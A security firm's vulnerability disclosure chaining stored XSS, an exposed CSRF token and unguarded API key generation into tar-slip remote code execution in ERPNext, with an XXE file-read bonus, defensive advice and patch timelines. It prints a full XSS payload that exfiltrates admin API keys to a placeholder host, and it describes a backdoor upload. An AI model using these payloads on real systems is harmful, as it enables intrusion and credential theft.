Chaining Stored XSS to Remote Code Execution in ERPNext

7.23.26
WRITTEN BY
Ilyass El Hadi and Derek Haber
Chaining Stored XSS to Remote Code Execution in ERPNext

You’ve secured an authenticated session during an engagement. You're feeling pleased with yourself, until you realize you only have the privileges of a heavily restricted customer role and the thrill trickles away. The main administrative dashboard is completely off-limits, and your available actions are largely confined to creating standard issues and editing your own user profile. However, with a bit of persistence, you just might be able to pivot that low-privileged access into a full system compromise.

During recent internal research against ERPNext (Frappe Framework), Armadin identified and chained four weaknesses to escalate from a restricted customer role to Remote Code Execution (RCE): 

  • Stored Cross-Site Scripting (XSS) in the profile image field (CVE-2026-44205)
  • Document Object Model (DOM)-reflected Cross-Site Request Forgery (CSRF) token
  • API key generation endpoint with no step-up authentication
  • Unsafe tar file extraction (CVE-2026-55852)

Additionally, Armadin identified a separate XML External Entity (XXE) vulnerability in the Electronic Data Interchange (EDI) module (CVE-2026-44445), which enables local file read. All accepted vulnerabilities are fixed in v16.23.0 and v15.112.0. 

The “Kill Chain” Philosophy

In offensive security, individual vulnerabilities rarely tell the full story. A single finding in isolation might only carry a moderate risk rating, but when chained together with other weaknesses, the cumulative impact can be devastating. These “kill chains” are crucial for organizations to understand when evaluating their true security posture.

Identifying individual flaws is necessary, but it’s insufficient for proving exploitable risk. Threat actors don’t stop at a single vulnerability. Understanding how those vulnerabilities connect is what separates a standard vulnerability assessment from a genuine picture of risk. At Armadin, mapping these kill chains is a core part of our methodology. For every chain we identify, we document the full attack path, assess the cumulative impact, and develop actionable remediation guidance to address each link in the chain, rather than just patching the most visible one. The following research is a prime example of that process in action.

The Weaknesses: Connecting the Chain

To escalate this restricted customer account into full RCE, we had to identify and abuse four distinct architectural weaknesses within the application:

1. Improper sanitization on image location: The root cause of the initial vulnerability was a failure to properly sanitize user input when setting and rendering the profile image path. While developers often rely heavily on validating file extensions during an upload process, they can sometimes fail to properly encode the output when injecting that path back into the Document Object Model (DOM). This oversight allowed us to break the syntax and execute arbitrary JavaScript whenever the image was rendered.

2. DOM-reflected CSRF tokens: As mentioned, Frappe uses anti-CSRF tokens to protect state-changing endpoints. However, we discovered that this token was explicitly reflected in the application’s HTTP responses on the /desk (or /app in v15 architecture) endpoint. By executing JavaScript in a victim’s browser via our XSS, we could seamlessly fetch the /desk page, read the response, and extract the frappe.csrf_token value using a basic regular expression.

CSRF token found reflected on /desk

3. Missing step-up authentication for API key generation: The next flaw resided in the application’s API token generation endpoint (/api/method/frappe.core.doctype.user.user.generate_keys). While the endpoint correctly required an authenticated session and a valid CSRF token, it did not require “step-up” authentication, such as re-entering a password or completing an MFA prompt. Because of this, we were able to forge a request to this endpoint using a victim administrator’s session to generate persistent API credentials, completely bypassing the need to know their actual password.

4. Unsafe archive extraction: The final weakness sat deeper in the stack, in the Frappe Package Import feature. To unpack a user-supplied package, the back end relied on the execution of the tar xzf command, and extracted the archive into the site’s packages/ directory without restricting the operation. The extraction neither rejected symbolic links nor checked for path traversal sequences, so an attacker who can upload a package can plant a symlink that points outside the intended directory and then write through it on a second upload. This turned a routine import feature into an arbitrary file write into the Frappe source tree, which led into RCE. 

Stored XSS (CVE-2026-44205)

Operating from our restricted customer account, we focused our attention on the “My Account” page. We noticed that the profile image field accepted arbitrary image links.

By intercepting the profile save request, we observed how the application formatted the user_image submission. Specifically, it reflected our input directly into the src attribute of an img tag within the HTML response. We attempted a classic breakout technique by appending a simple payload to our input: "> <script>alert('you cant see me')</script><meta class=". The script successfully executed, confirming we had a Stored XSS vulnerability.

HTML script tags injected into the encoded values
Script payload reflected in the DOM

Exploit Execution and Impact

With our attack path mapped, we crafted a silent, asynchronous JavaScript payload designed to execute the full attack chain the moment an administrator loaded our compromised profile image. We injected the following payload into the profile image path, targeting an administrator email address ([email protected]) we had identified in a prior application response.

/path/to/file\"><script>!async function(){try{let e=await fetch(\"/desk\"),a=await e.text(),t=a.match(/frappe\\.csrf_token\\s*=\\s*[\"'](.*?)[\"']/)[1],s=await fetch(\"/api/method/frappe.core.doctype.user.user.generate_keys\",{method:\"POST\",headers:{\"X-Frappe-CSRF-Token\":t,\"Content-Type\":\"application/x-www-form-urlencoded; charset=UTF-8\",\"X-Requested-With\":\"XMLHttpRequest\"},body:new URLSearchParams({user:\"[email protected]\"})}),r=await s.json();if(r.message){var c=new Image;c.src=\"https://COLLABORATORLINK/keys?data=\"+btoa(JSON.stringify(r.message))}}catch(o){var c=new Image;c.src=\"https://COLLABORATORLINK/error?msg=\"+btoa(o.message)}}();</script><meta class=\"

Full XSS payload grabbing the CSRF token and exfiltrating newly generated API secret

We then waited for the administrator to log in and navigate to the User Image View. When the compromised profile image attempted to load, the XSS executed silently in the background without any suspicious pop-ups or redirects.

User page loading the attacker’s profile image

Moments later, a request arrived at our Burp Collaborator instance. The data parameter contained a Base64-encoded string which, upon decoding, revealed the newly generated API key and secret for [email protected].

Base64-encoded API key and secret returned via a collaborator request

Full Application Compromise

With the captured API keys in hand, we passed the credentials via an authorization header (Authorization: token <api_key>:<api_secret>) and successfully confirmed full administrative access through the API. From there, we created a new System Manager user, set its password, and assigned it all available roles.

This access allowed us to view accounting data, modify website content, and create new users with any privileges. In a scenario where stealth was not a concern, we also confirmed the ability to issue a PUT request to forcibly change the main administrator’s password and authenticate it directly to the front end.

TarSlip Remote Code Execution (CVE-2026-55852)

At this stage of the engagement, we progressed from a restricted customer to a System Manager with the ability to read sensitive files. However, achieving RCE remains a major goal for offensive security researchers, because it gives an attacker total control to run arbitrary commands on the underlying system.

By auditing the Frappe Package Import feature, we found the final link in our chain. The flaw existed in how the application handled tar.gz archives during a package import. The back-end code used a system call to tar xzf to extract user-supplied packages into the site’s packages/ directory.

# frappe/core/doctype/package_import/package_import.py
subprocess.check_output([    
	"tar", "xzf",    
	get_files_path(attachment.file_name, 
is_private=attachment.is_private),    
	"-C", frappe.get_site_path("packages"),
])

Archive extraction using a system call

The critical oversight here was a lack of validation. The extraction process did not sanitize symbolic links (symlinks) or check for path traversal sequences. Because the tar command was executed without restricted flags, an attacker could use a three-stage “Link, Write, Execute” attack to escape the intended directory.

Link, Write, Execute

  1. Stage 1: We uploaded a specially crafted tarball containing a symlink named link that points to the Frappe source directory (e.g., /home/frappe/frappe-bench/apps/frappe/frappe/). When “Activate” was clicked, tar created this link on the filesystem.
  2. Stage 2: We uploaded a second tarball containing a malicious Python file located at link/backdoor.py. Because the link directory pointed to the core application folder, tar followed the symlink and wrote our backdoor directly into the Frappe source tree.
  3. Stage 3: Since Frappe dynamically mapped API methods to Python functions, our newly created file became instantly reachable and executable.

By navigating to /api/method/frappe.backdoor.execute?command=id, we confirmed we were running commands as the frappe OS user. The application takeover was complete.

Arbitrary command execution

XML External Entity (CVE-2026-44445)

While the RCE chain marked the absolute completion of the application takeover, our research turned up a bonus finding. Independent of the main execution chain, we wanted to see if a System Manager could pivot to reading sensitive system files. This led us to identifying an XXE vulnerability within the EDI module, specifically in the import_genericode method.

The vulnerability comes from the use of the lxml.etree.XMLParser. By default, if not explicitly configured to disallow entity resolution, this parser will attempt to evaluate external entities defined within an XML document.

While ERPNext’s environment often restricts Out-of-Band (OOB) exfiltration (blocking the parser from making external requests), we discovered a bypass to this.

The Attack Path

Because we already achieved administrative access, we utilized Frappe’s file upload functionality to stage a malicious Document Type Definition (DTD) file directly on the server’s local filesystem. The attack followed three steps:

  1. Staging the payload: We uploaded a malicious foobarzz.dtd file to the public files directory via the /api/method/upload_file endpoint.
Uploading the DTD file
  1. Triggering the parser: We sent a POST request to the import_genericode method (used by the Common Code or Code List features). This request contained a crafted XML payload referencing our previously uploaded local DTD using the file:// URI scheme.
XXE payload referencing the previously uploaded DTD
  1. Exfiltration via error/response: As the lxml parser processed the XML, it expanded the parameter entities defined in our local DTD. This forced the system to read local files, such as /etc/passwd or the critical site_config.json, and reflect their contents back in the application’s response.
Response returning the contents of /etc/passwd

By reading the site_config.json file, an attacker could extract database credentials, encryption keys, S3/backup credentials, and more.

Key Takeaway

A successful kill chain relies on the failure of multiple defensive layers. When individual weaknesses like improper output encoding or exposed CSRF tokens are left unaddressed, they become trivial to exploit in tandem, posing significant security risks for organizations. Developers should thoroughly review their input handling and API authentication mechanisms to prevent attackers from hijacking administrative sessions.

To fully secure an application, organizations must recognize that threat actors do not stop at a single vulnerability. By chaining interconnected flaws, attackers can pivot from a heavily restricted customer role into complete administrative and system control. As demonstrated in this research against ERPNext, the cumulative impact of these weaknesses allowed multiple critical escalations:

  • Full application compromise: By chaining Stored XSS with a DOM-reflected CSRF token, an attacker could bypass dual-layered validation mechanisms to generate persistent administrative API keys.
  • Remote code execution: A lack of validation during the extraction of user-supplied tar.gz packages enabled a three-stage “Link, Write, Execute” attack. This allowed the execution of arbitrary system commands by escaping the intended upload directory.
  • Local file exfiltration: Unsafe XML parsing within the EDI module and a bypass of OOB restrictions allowed the reading of local files, potentially exposing database, encryption, and offsite backup credentials.

Ultimately, understanding how individual vulnerabilities connect is what separates a standard vulnerability assessment from an accurate picture of proven organizational risk. Effective remediation requires documenting the full attack path and developing actionable guidance to address every link in the chain, rather than just patching the most visible one.

Defensive Considerations

To protect against this type of kill chain, consider taking the following defensive steps.

Require Step-Up Authentication for Sensitive Actions

Credential-issuing and privilege-changing operations should not trust a valid session alone. Where the platform supports it, require re-authentication or an MFA prompt for sensitive operations such as API key generation, role changes, and password resets.

Safely Handle Untrusted Input and Output

Apply contextual output encoding wherever user-controlled data is written onto a page. Validate and sanitize user input, configure XML parsers to reject external entities, and build the DOM with safe APIs such as textContent and setAttribute rather than string concatenation. For further hardening, layer a content security policy to restrict XSS, clickjacking, and malicious code execution.

Validate Archive Extraction and Constrain Application Runtime

When unpacking a user-supplied archive, use a library that inspects each entry before writing it. Reject symbolic links, hard links, and paths that resolve outside the target directory. Run the application under a low-privileged service account with read-only access to the program files it requires, so that the process cannot modify the application or read other sensitive files on the system. Restrict outbound network connections to approved destinations, limiting what a compromised process can reach or exfiltrate.

Disclosure Timelines

Stored Cross-Site Scripting (XSS) in profile image path (CVE-2026-44205):

  • 2026-02-10: Armadin discovered the vulnerability chain.
  • 2026-02-13: Vulnerability reported to Frappe/ERPNext maintainers.
  • 2026-02-14: Vendor acknowledged the vulnerability.
  • 2026-04-21: Vendor released the patch (v16.16.0 and 15.106.0).
  • 2026-07-23: Armadin published this disclosure.

XML External Entity (XXE) (CVE-2026-44445):

  • 2026-02-18: Armadin discovered the vulnerability.
  • 2026-02-19: Vulnerability reported to Frappe/ERPNext maintainers.
  • 2026-03-09: Vendor acknowledged the vulnerability.
  • 2026-04-30: Vendor released the patch (v16.12.0 and 15.104.3).
  • 2026-07-23: Armadin published this disclosure.

Remote Code Execution (RCE) via Tar Slip (CVE-2026-55852):

  • 2026-04-09: Armadin discovered the vulnerability.
  • 2026-04-10: Vulnerability reported to Frappe/ERPNext maintainers.
  • 2026-04-17: Vendor acknowledged the vulnerability.
  • 2026-07-03: Vendor released the patch (v16.23.0 and 15.112.0).
  • 2026-07-23: Armadin published this disclosure.

Acknowledgements

Thank you to Dante Alabastro for his work on the “Defensive Considerations” section.

Stay Ahead of Whatever Threats May Come

New threats require a new approach and the right tools to keep your environment secure. Discover the full value of the Armadin platform at Armadin.com.

Continue reading
Chaining Stored XSS to Remote Code Execution in ERPNext
Blog
7.23.26
Chaining Stored XSS to Remote Code Execution in ERPNext
Kill Chains and Coffee Episode 2
Blog
7.16.26
Kill Chains and Coffee Episode 2
Get a Demo and Meet the Armadin Team at Black Hat 2026
Event
Blog
7.15.26
Get a Demo and Meet the Armadin Team at Black Hat 2026